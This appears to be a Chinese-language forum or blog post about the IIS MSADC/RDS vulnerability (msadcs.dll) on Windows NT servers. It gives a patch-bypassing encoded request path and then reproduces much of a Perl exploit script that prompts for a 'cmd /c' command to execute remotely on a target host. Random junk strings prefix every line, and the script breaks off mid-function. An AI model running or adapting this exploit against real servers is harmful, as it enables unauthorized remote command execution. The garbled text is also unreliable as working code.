IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d|c>Y( ?c!W*`yP 涉及程序:
$NG|z0 Microsoft NT server
tf+5@Zf]4 +W-,74A 描述:
IFg(Ze~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+S3r]D3v/ {F~:86z(g 详细:
f<T"# G$5 如果你没有时间读详细内容的话,就删除:
#MhieG5 c:\Program Files\Common Files\System\Msadc\msadcs.dll
C)|{7W 有关的安全问题就没有了。
$6 A91|ZSQ c6 tB9b 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
DoYzTSWx LG
qg0( 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Mkc|uiT
关于利用ODBC远程漏洞的描述,请参看:
xf?6_= t:h~p-&QB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B1C"F-2d MJ+]\( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Q[M?LNE` http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~
[4oA$[a| k}o*=s>M 这里不再论述。
IT~pp_6g NgXV|) L 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
8aSH0dX T)QT_ST.9 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i[wEH1jR 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
;.g <u p*^[
~} N @aC2] #将下面这段保存为txt文件,然后: "perl -x 文件名"
`vijd(a?v &oyj8 #!perl
sb7~sa&- #
o/U"'FP # MSADC/RDS 'usage' (aka exploit) script
~YX!49XfHh #
^8#;>+7R # by rain.forest.puppy
D\H)uV` #
mq(*4KFWJ2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
HYkZMVH{ # beta test and find errors!
pzPm(M1^X 1ukCH\YgU use Socket; use Getopt::Std;
lVmm`q6n9 getopts("e:vd:h:XR", \%args);
%O< qw [H!8m7i; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zU7/P|Dw+ iq!u}# x_ if (!defined $args{h} && !defined $args{R}) {
07?| "c. print qq~
n #|p R2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
3;h%mkKQ+ -h <host> = host you want to scan (ip or domain)
mP?~#RZ -d <seconds> = delay between calls, default 1 second
o|v_+<zD! -X = dump Index Server path table, if available
B[I
a8t -v = verbose
e{dYLQd -e = external dictionary file for step 5
h 'F\9t ny. YkN2 Or a -R will resume a command session
4X5Tyv(Dp EZ.|6oug\ ~; exit;}
y_=},a 6tBh`nYB= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
MJ)aY2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
qrj:H4#VB if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Ak\w)!?s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
fs=W(~" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
:]viLw\&g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
j(;o _qPd)V6yb if (!defined $args{R}){ $ret = &has_msadc;
\2K_"5 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BZP~m=kq >J \} &!8, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
PJCRvs|X . "cmd /c ";
V_SZp8 $in=<STDIN>; chomp $in;
jd&kak $command="cmd /c " . $in ;
MMI7FlfY ;DkX"X+ if (defined $args{R}) {&load; exit;}
v/Z!Wp1LV .\?)O+J! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2
P=c1; &try_btcustmr;
"[*W=6m0 A;4O,p@ print "\nStep 2: Trying to make our own DSN...";
&mM[q'V &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2[Ja|W\If k365.nc print "\nStep 3: Trying known DSNs...";
\*C}[D &known_dsn;
#hOAG_a, sKkk+-J4 print "\nStep 4: Trying known .mdbs...";
{M5[gr% &known_mdb;
W+'|zhn \.R+|`{tf if (defined $args{e}){
E_aDkNT print "\nStep 5: Trying dictionary of DSN names...";
F`3J=AJOJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L0Fhjbc j^g^=uau print "Sorry Charley...maybe next time?\n";
Z5vpo$l exit;
W* XG9 d +]Gw ##############################################################################
5jpb`Axj# f/r@9\x sub sendraw { # ripped and modded from whisker
p&:(D=pIu sleep($delay); # it's a DoS on the server! At least on mine...
RSNukg my ($pstr)=@_;
-qPYm?$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d@:4se-q+ die("Socket problems\n");
Z"# /,?|3@ if(connect(S,pack "SnA4x8",2,80,$target)){
N*C"+2 select(S); $|=1;
(>OCLmV$ print $pstr; my @in=<S>;
=]OG5b_-Y select(STDOUT); close(S);
em87`Hj^lo return @in;
r&G=}ZMO } else { die("Can't connect...\n"); }}
Wm5/>Cu, gCMwmanX ##############################################################################
@q?zh'@; nJ.<yrzi sub make_header { # make the HTTP request
%CxrXU my $msadc=<<EOT
S}=euY'i POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-m&